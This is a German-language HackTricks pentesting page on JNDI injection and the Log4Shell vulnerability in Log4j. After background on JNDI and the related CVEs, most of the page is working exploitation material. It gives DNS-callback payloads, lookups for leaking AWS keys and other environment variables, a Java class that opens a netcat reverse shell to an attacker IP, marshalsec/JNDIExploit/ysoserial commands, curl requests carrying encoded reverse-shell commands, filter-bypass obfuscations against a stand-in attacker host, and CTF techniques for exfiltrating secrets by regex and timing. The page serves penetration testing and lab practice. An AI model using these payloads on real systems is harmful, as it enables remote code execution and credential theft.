JNDI - Java Naming and Directory Interface & Log4Shell

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Try Hard Security Group


Grundlegende Informationen

JNDI, seit Ende der 1990er Jahre in Java integriert, dient als Verzeichnisdienst und ermöglicht es Java-Programmen, Daten oder Objekte über ein Namenssystem zu lokalisieren. Es unterstützt verschiedene Verzeichnisdienste über Service Provider Interfaces (SPIs), die den Datenabruf von verschiedenen Systemen ermöglichen, einschließlich entfernter Java-Objekte. Zu den gängigen SPIs gehören CORBA COS, Java RMI Registry und LDAP.

JNDI Namensreferenz

Java-Objekte können mithilfe von JNDI-Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:

  • Referenzadressen: Gibt den Speicherort eines Objekts an (z. B. rmi://server/ref), was einen direkten Abruf von der angegebenen Adresse ermöglicht.

  • Remote Factory: Verweist auf eine Remote-Factory-Klasse. Beim Zugriff wird die Klasse von der Remote-Position heruntergeladen und instanziiert.

Dieser Mechanismus kann jedoch ausgenutzt werden, was potenziell zum Laden und Ausführen beliebigen Codes führen kann. Als Gegenmaßnahme:

  • RMI: java.rmi.server.useCodeabseOnly = true standardmäßig ab JDK 7u21, was das Laden entfernter Objekte einschränkt. Ein Sicherheitsmanager begrenzt weiterhin, was geladen werden kann.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false standardmäßig ab JDK 6u141, 7u131, 8u121, blockiert die Ausführung von remote geladenen Java-Objekten. Wenn auf true gesetzt, ist eine Remote-Codeausführung ohne Aufsicht eines Sicherheitsmanagers möglich.

  • CORBA: Hat keine spezifische Eigenschaft, aber der Sicherheitsmanager ist immer aktiv.

Der Naming Manager, der für das Auflösen von JNDI-Verknüpfungen verantwortlich ist, verfügt jedoch nicht über integrierte Sicherheitsmechanismen, was potenziell das Abrufen von Objekten aus beliebigen Quellen ermöglicht. Dies birgt ein Risiko, da RMI-, LDAP- und CORBA-Schutzmechanismen umgangen werden können, was zum Laden beliebiger Java-Objekte oder zur Ausnutzung vorhandener Anwendungskomponenten (Gadgets) führen kann, um bösartigen Code auszuführen.

Beispiele für angreifbare URLs sind:

  • rmi://angreifer-server/bar

  • ldap://angreifer-server/bar

  • iiop://angreifer-server/bar

Trotz Schutzmaßnahmen bleiben Schwachstellen bestehen, hauptsächlich aufgrund des Mangels an Schutzmaßnahmen gegen das Laden von JNDI aus nicht vertrauenswürdigen Quellen und der Möglichkeit, bestehende Schutzmechanismen zu umgehen.

JNDI Beispiel

Selbst wenn Sie eine PROVIDER_URL festgelegt haben, können Sie eine andere in einem Lookup angeben und darauf zugreifen: ctx.lookup("<vom Angreifer kontrollierte-url>") und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.

CORBA-Übersicht

CORBA (Common Object Request Broker Architecture) verwendet eine Interoperable Object Reference (IOR), um entfernte Objekte eindeutig zu identifizieren. Diese Referenz enthält wesentliche Informationen wie:

  • Typ-ID: Eindeutiger Bezeichner für eine Schnittstelle.

  • Codebase: URL zum Abrufen der Stub-Klasse.

CORBA ist im Allgemeinen nicht anfällig. Die Sicherheit wird in der Regel sichergestellt durch:

  • Installation eines Sicherheitsmanagers.

  • Konfiguration des Sicherheitsmanagers, um Verbindungen zu potenziell bösartigen Codebasen zu ermöglichen. Dies kann durchgeführt werden durch:

  • Socket-Berechtigung, z. B. permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Dateileseberechtigungen, entweder universell (permission java.io.FilePermission "<<ALLE DATEIEN>>", "read";) oder für bestimmte Verzeichnisse, in denen bösartige Dateien platziert werden könnten.

Einige Anbieterrichtlinien könnten jedoch nachsichtig sein und diese Verbindungen standardmäßig zulassen.

RMI-Kontext

Bei RMI (Remote Method Invocation) ist die Situation etwas anders. Wie bei CORBA ist das Herunterladen beliebiger Klassen standardmäßig eingeschränkt. Um RMI auszunutzen, müsste man in der Regel den Sicherheitsmanager umgehen, was auch bei CORBA relevant ist.

LDAP

Zunächst müssen wir zwischen einer Suche und einem Lookup unterscheiden. Eine Suche verwendet eine URL wie ldap://localhost:389/o=JNDITutorial, um das JNDITutorial-Objekt von einem LDAP-Server zu finden und seine Attribute abzurufen. Ein Lookup ist für Namensdienste gedacht, da wir das abrufen möchten, was an einen Namen gebunden ist.

Wenn die LDAP-Suche mit SearchControls.setReturningObjFlag() mit true aufgerufen wurde, wird das zurückgegebene Objekt rekonstruiert.

Daher gibt es mehrere Möglichkeiten, diese Optionen anzugreifen. Ein Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt, die in den Systemen ausgeführt werden, die sie sammeln (sehr nützlich, um Dutzende von Maschinen zu kompromittieren, wenn Sie Zugriff auf den LDAP-Server haben). Ein weiterer Weg, dies auszunutzen, wäre beispielsweise, einen MitM-Angriff in einer LDAP-Suche durchzuführen.

Falls Sie eine App eine JNDI LDAP-URL auflösen lassen können, können Sie das LDAP steuern, das durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).

Deserialisierungs-Exploit

Der Exploit wird serialisiert und dann deserialisiert. Wenn trustURLCodebase true ist, kann ein Angreifer seine eigenen Klassen in der Codebase bereitstellen. Andernfalls müsste er Gadgets im Klassenpfad missbrauchen.

JNDI-Referenz-Exploit

Es ist einfacher, dieses LDAP mit JavaFactory-Referenzen anzugreifen:

Log4Shell-Schwachstelle

Die Schwachstelle wird in Log4j eingeführt, da es eine spezielle Syntax in Form von ${prefix:name} unterstützt, wobei prefix einer Reihe verschiedener Lookups entspricht, bei denen name ausgewertet werden sollte. Zum Beispiel ist ${java:version} die aktuelle laufende Java-Version.

LOG4J2-313 führte eine jndi-Lookup-Funktion ein. Diese Funktion ermöglicht das Abrufen von Variablen über JNDI. Normalerweise wird der Schlüssel automatisch mit java:comp/env/ vorangestellt. Wenn der Schlüssel selbst jedoch ein ":" enthält, wird dieses Standardpräfix nicht angewendet.

Mit einem : im Schlüssel, wie in ${jndi:ldap://beispiel.com/a}, gibt es kein Präfix und der LDAP-Server wird für das Objekt abgefragt. Diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.

Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine anfällige Version von Log4j, die vom Benutzer kontrollierte Informationen verarbeitet. Und da dies eine von Java-Anwendungen weit verbreitete Bibliothek ist, um Informationen zu protokollieren (auch von Internetanwendungen), war es sehr üblich, beispielsweise HTTP-Header zu protokollieren, die empfangen wurden, wie den User-Agent. Allerdings wird log4j nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern jegliche Eingabe und Daten, die der Entwickler angegeben hat.

Übersicht über mit Log4Shell verbundene CVEs

CVE-2021-44228 [Kritisch]

Diese Schwachstelle ist ein kritischer unerwünschter Deserialisierungsfehler im log4j-core-Komponenten, der Versionen von 2.0-beta9 bis 2.14.1 betrifft. Es ermöglicht Remote-Code-Ausführung (RCE), wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Die ursprüngliche Behebung in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar (Regel 1, Regel 2).

CVE-2021-45046 [Kritisch]

Ursprünglich als gering eingestuft, später jedoch auf kritisch hochgestuft, ist diese CVE eine Denial-of-Service (DoS)-Schwachstelle, die aus einer unvollständigen Behebung in 2.15.0 für CVE-2021-44228 resultiert. Sie betrifft nicht standardmäßige Konfigurationen und ermöglicht es Angreifern, DoS-Angriffe durch speziell präparierte Nutzlasten zu verursachen. Ein Tweet zeigt eine Umgehungsmethode. Das Problem ist in den Versionen 2.16.0 und 2.12.2 gelöst, indem Nachrichtensuchmuster entfernt und JNDI standardmäßig deaktiviert wurden.

Diese CVE betrifft Log4j 1.x-Versionen in nicht standardmäßigen Konfigurationen, die JMSAppender verwenden, und ist ein unerwünschter Deserialisierungsfehler. Für den 1.x-Zweig steht keine Behebung zur Verfügung, da er das Ende seines Lebenszyklus erreicht hat, und ein Upgrade auf log4j-core 2.17.0 wird empfohlen.

CVE-2021-42550 [Mäßig]

Diese Schwachstelle betrifft das Logback-Protokollierungsframework, einen Nachfolger von Log4j 1.x. Zuvor als sicher angesehen, wurde festgestellt, dass das Framework anfällig ist, und neuere Versionen (1.3.0-alpha11 und 1.2.9) wurden veröffentlicht, um das Problem zu beheben.

CVE-2021-45105 [Hoch]

Log4j 2.16.0 enthält eine DoS-Schwachstelle, was zur Veröffentlichung von log4j 2.17.0 zur Behebung der CVE führte. Weitere Details finden Sie im Bericht von BleepingComputer hier.

Diese CVE betrifft die log4j-Version 2.17 und erfordert, dass der Angreifer die Konfigurationsdatei von log4j kontrolliert. Es beinhaltet potenzielle willkürliche Codeausführung über einen konfigurierten JDBCAppender. Weitere Details finden Sie im Checkmarx-Blogbeitrag.

Log4Shell-Exploitation

Entdeckung

Diese Schwachstelle ist sehr einfach zu entdecken, wenn sie ungeschützt ist, da sie mindestens eine DNS-Anfrage an die von Ihnen in Ihrer Nutzlast angegebene Adresse sendet. Daher Nutzlasten wie:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (unter Verwendung von canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (unter Verwendung von interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (unter Verwendung von Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (unter Verwendung von dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (unter Verwendung von huntress)

Beachten Sie, dass selbst wenn eine DNS-Anfrage empfangen wird, das nicht bedeutet, dass die Anwendung ausnutzbar ist (oder sogar verwundbar), Sie müssen versuchen, sie auszunutzen.

Denken Sie daran, dass zum Ausnutzen von Version 2.15 die Lokalehost-Überprüfungsumgehung hinzugefügt werden muss: ${jndi:ldap://127.0.0.1#...}

Lokale Entdeckung

Suchen Sie nach lokalen verwundbaren Versionen der Bibliothek mit:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Überprüfung

Einige der zuvor aufgelisteten Plattformen ermöglichen es Ihnen, einige variable Daten einzufügen, die protokolliert werden, wenn sie angefordert werden. Dies kann sehr nützlich sein für 2 Dinge:

  • Um die Verwundbarkeit zu überprüfen

  • Um Informationen zu exfiltrieren, indem die Verwundbarkeit ausgenutzt wird

Zum Beispiel könnten Sie etwas anfordern wie: oder wie ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} und wenn eine DNS-Anfrage mit dem Wert der Umgebungsvariable empfangen wird, wissen Sie, dass die Anwendung verwundbar ist.

Andere Informationen, die Sie versuchen könnten zu leaken:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE-Information

Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladungsangriffsvektor geschützt. Dies liegt an der standardmäßigen Deaktivierung von com.sun.jndi.ldap.object.trustURLCodebase, die verhindert, dass JNDI über LDAP einen Remote-Codebase lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen nicht gegen den Deserialisierungsangriffsvektor geschützt sind.

Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein vertrauenswürdiges Gadget innerhalb der Java-Anwendung zu nutzen. Tools wie ysoserial oder JNDIExploit werden oft zu diesem Zweck verwendet. Im Gegensatz dazu ist das Ausnutzen von niedrigeren JDK-Versionen relativ einfacher, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.

Für weitere Informationen (wie Einschränkungen bei RMI- und CORBA-Vektoren) überprüfen Sie den vorherigen Abschnitt JNDI Naming Reference oder https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec mit benutzerdefiniertem Payload

Sie können dies in der THM-Box testen: https://tryhackme.com/room/solar

Verwenden Sie das Tool marshalsec (JAR-Version verfügbar hier). Dieser Ansatz richtet einen LDAP-Weiterleitungsserver ein, um Verbindungen zu einem sekundären HTTP-Server umzuleiten, auf dem der Exploit gehostet wird:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Um das Ziel aufzufordern, einen Reverse-Shell-Code zu laden, erstellen Sie eine Java-Datei mit dem Namen Exploit.java und dem folgenden Inhalt:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kompilieren Sie die Java-Datei in eine Klassendatei mit: javac Exploit.java -source 8 -target 8. Starten Sie anschließend einen HTTP-Server im Verzeichnis, das die Klassendatei enthält, mit: python3 -m http.server. Stellen Sie sicher, dass der marshalsec LDAP-Server auf diesen HTTP-Server verweist.

Lösen Sie die Ausführung der Exploit-Klasse auf dem anfälligen Webserver aus, indem Sie ein Payload wie folgt versenden:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Hinweis: Dieser Exploit basiert auf der Konfiguration von Java, um das Laden von Remote-Codebasen über LDAP zu ermöglichen. Wenn dies nicht zulässig ist, erwägen Sie, eine vertrauenswürdige Klasse für die Ausführung beliebigen Codes zu nutzen.

RCE - JNDIExploit

Beachten Sie, dass der Autor dieses Projekts aus Github entfernt hat, nachdem die Entdeckung von Log4Shell gemacht wurde. Sie können eine zwischengespeicherte Version unter https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.

Außerdem können Sie den Quellcode nicht im Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie das Jar-File aus, wissend, dass Sie nicht wissen, was Sie ausführen.

Für dieses Beispiel können Sie einfach diesen anfälligen Webserver für Log4Shell auf Port 8080 ausführen: https://github.com/christophetd/log4shell-vulnerable-app (in der README finden Sie, wie Sie ihn ausführen können). Diese anfällige App protokolliert mit einer anfälligen Version von Log4Shell den Inhalt des HTTP-Anforderungs-Headers X-Api-Version.

Dann können Sie die JNDIExploit Jar-Datei herunterladen und mit folgendem Befehl ausführen:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Nachdem Sie den Code nur ein paar Minuten lang gelesen haben, in com.feihong.ldap.LdapServer und com.feihong.ldap.HTTPServer können Sie sehen, wie die LDAP- und HTTP-Server erstellt werden. Der LDAP-Server wird verstehen, welches Payload bereitgestellt werden muss, und das Opfer zum HTTP-Server umleiten, der das Exploit bereitstellt. In com.feihong.ldap.gadgets finden Sie einige spezifische Gadgets, die verwendet werden können, um die gewünschte Aktion auszuführen (potenziell beliebigen Code ausführen). Und in com.feihong.ldap.template können Sie die verschiedenen Vorlagenklassen sehen, die die Exploits generieren werden.

Sie können alle verfügbaren Exploits mit java -jar JNDIExploit-1.2-SNAPSHOT.jar -u sehen. Einige nützliche sind:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Also, in unserem Beispiel haben wir bereits diese anfällige Docker-App am Laufen. Um sie anzugreifen:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

RCE - JNDI-Exploit-Kit

Auf ähnliche Weise wie beim vorherigen Exploit können Sie versuchen, JNDI-Exploit-Kit zu verwenden, um diese Schwachstelle auszunutzen. Sie können die URLs generieren, die an das Opfer gesendet werden sollen, indem Sie ausführen:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Dieser Angriff mit einem benutzerdefinierten generierten Java-Objekt funktioniert in Laboren wie dem THM Solar Room. Allerdings wird dies normalerweise nicht funktionieren (da Java standardmäßig nicht so konfiguriert ist, dass es Remote-Codebasen über LDAP lädt), weil es keine vertrauenswürdige Klasse missbraucht, um beliebigen Code auszuführen.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ist ein weiteres Tool zur Generierung von funktionsfähigen JNDI-Links und bietet Hintergrunddienste durch Starten eines RMI-Servers, LDAP-Servers und HTTP-Servers.

RCE - ysoserial & JNDI-Exploit-Kit

Diese Option ist besonders nützlich, um Java-Versionen anzugreifen, die nur bestimmten Klassen vertrauen und nicht jedem. Daher wird ysoserial verwendet, um Serialisierungen vertrauenswürdiger Klassen zu generieren, die als Gadgets verwendet werden können, um beliebigen Code auszuführen (die von ysoserial missbrauchte vertrauenswürdige Klasse muss vom Opfer-Javaprogramm verwendet werden, damit der Exploit funktioniert).

Mit ysoserial oder ysoserial-modified können Sie den Deserialisierungs-Exploit erstellen, der von JNDI heruntergeladen wird:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Verwenden Sie JNDI-Exploit-Kit, um JNDI-Links zu generieren, an denen das Exploit auf Verbindungen von anfälligen Maschinen wartet. Sie können verschiedene Exploits bereitstellen, die automatisch vom JNDI-Exploit-Kit generiert werden, oder sogar Ihre eigenen Deserialisierungspayloads (von Ihnen oder ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Nun können Sie ganz einfach einen generierten JNDI-Link verwenden, um die Schwachstelle auszunutzen und eine umgekehrte Shell zu erhalten, indem Sie sie an eine verwundbare Version von log4j senden: ${ldap://10.10.14.10:1389/generated}

Umgehungen

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatische Scanner

Labore zum Testen

Nach-Log4Shell-Exploitation

In diesem CTF-Writeup wird gut erklärt, wie es potenziell möglich ist, einige Funktionen von Log4J zu missbrauchen.

Die Sicherheitsseite von Log4j enthält einige interessante Sätze:

Ab Version 2.16.0 (für Java 8) wurde die Funktion für Nachrichtenabfragen vollständig entfernt. Abfragen in der Konfiguration funktionieren weiterhin. Darüber hinaus deaktiviert Log4j jetzt den Zugriff auf JNDI standardmäßig. JNDI-Abfragen in der Konfiguration müssen jetzt explizit aktiviert werden.

Ab Version 2.17.0 (und 2.12.3 und 2.3.1 für Java 7 und Java 6) werden nur Abfragezeichenfolgen in der Konfiguration rekursiv erweitert; in jeder anderen Verwendung wird nur die Abfrage auf oberster Ebene aufgelöst, und alle verschachtelten Abfragen werden nicht aufgelöst.

Das bedeutet, dass Sie standardmäßig jeden jndi-Exploit vergessen können. Darüber hinaus müssen Sie diese für rekursive Abfragen konfigurieren.

Zum Beispiel wurde dies in dem CTF in der Datei log4j2.xml konfiguriert:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Umgebungs-Lookups

In diesem CTF kontrollierte der Angreifer den Wert von ${sys:cmd} und musste die Flagge aus einer Umgebungsvariable exfiltrieren. Wie auf dieser Seite in vorherigen Payloads zu sehen ist, gibt es verschiedene Möglichkeiten, auf Umgebungsvariablen zuzugreifen, wie z.B. ${env:FLAG}. In diesem CTF war dies nutzlos, könnte aber in anderen realen Szenarien nützlich sein.

Exfiltration in Ausnahmen

Im CTF konnte man nicht auf stderr der Java-Anwendung mit Log4J zugreifen, aber Log4J Ausnahmen werden an stdout gesendet, was in der Python-App ausgegeben wurde. Das bedeutete, dass wir durch Auslösen einer Ausnahme auf den Inhalt zugreifen konnten. Eine Ausnahme zur Exfiltration der Flagge war: ${java:${env:FLAG}}. Dies funktioniert, weil ${java:CTF{blahblah}} nicht existiert und eine Ausnahme mit dem Wert der Flagge angezeigt wird:

Konvertierungsmuster Ausnahmen

Nur zur Erwähnung, Sie könnten auch neue Konvertierungsmuster einschleusen und Ausnahmen auslösen, die in stdout protokolliert werden. Zum Beispiel:

Dies war nicht nützlich, um Daten innerhalb der Fehlermeldung zu exfiltrieren, da der Lookup vor dem Konvertierungsmuster nicht gelöst wurde, aber es könnte für andere Dinge wie Erkennung nützlich sein.

Konvertierungsmuster Regexes

Es ist jedoch möglich, einige Konvertierungsmuster zu verwenden, die Regexes unterstützen, um Informationen aus einem Lookup zu exfiltrieren, indem Regexes und binäre Suche oder zeitbasierte Verhaltensweisen missbraucht werden.

  • Binäre Suche über Ausnahmemeldungen

Das Konvertierungsmuster %replace kann verwendet werden, um Inhalte aus einem String zu ersetzen, auch unter Verwendung von Regexes. Es funktioniert so: replace{pattern}{regex}{substitution} Durch Ausnutzen dieses Verhaltens könnten Sie eine Ausnahme auslösen lassen, wenn das Regex irgendetwas im String gefunden hat (und keine Ausnahme, wenn es nicht gefunden wurde), wie folgt:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Zeitbasiert

Wie bereits im vorherigen Abschnitt erwähnt wurde, unterstützt %replace Regexes. Es ist also möglich, Payload von der ReDoS-Seite zu verwenden, um einen Timeout auszulösen, falls die Flagge gefunden wird. Zum Beispiel würde ein Payload wie %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} einen Timeout in diesem CTF auslösen.

In diesem Writeup wurde anstelle eines ReDoS-Angriffs ein Amplifikationsangriff verwendet, um einen Zeitunterschied in der Antwort zu verursachen:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Wenn die Flagge mit flagGuess beginnt, wird die gesamte Flagge durch 29 #-s ersetzt (Ich habe dieses Zeichen verwendet, weil es wahrscheinlich nicht Teil der Flagge ist). Jedes der resultierenden 29 #-s wird dann durch 54 #-s ersetzt. Dieser Prozess wird 6 Mal wiederholt, was zu insgesamt 29*54*54^6* =`` ``96816014208 #-s führt!

Das Ersetzen so vieler #-s wird den 10-Sekunden-Timeout der Flask-Anwendung auslösen, was wiederum dazu führt, dass der HTTP-Statuscode 500 an den Benutzer gesendet wird. (Wenn die Flagge nicht mit flagGuess beginnt, erhalten wir einen Nicht-500-Statuscode)

Referenzen

Try Hard Security Group

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated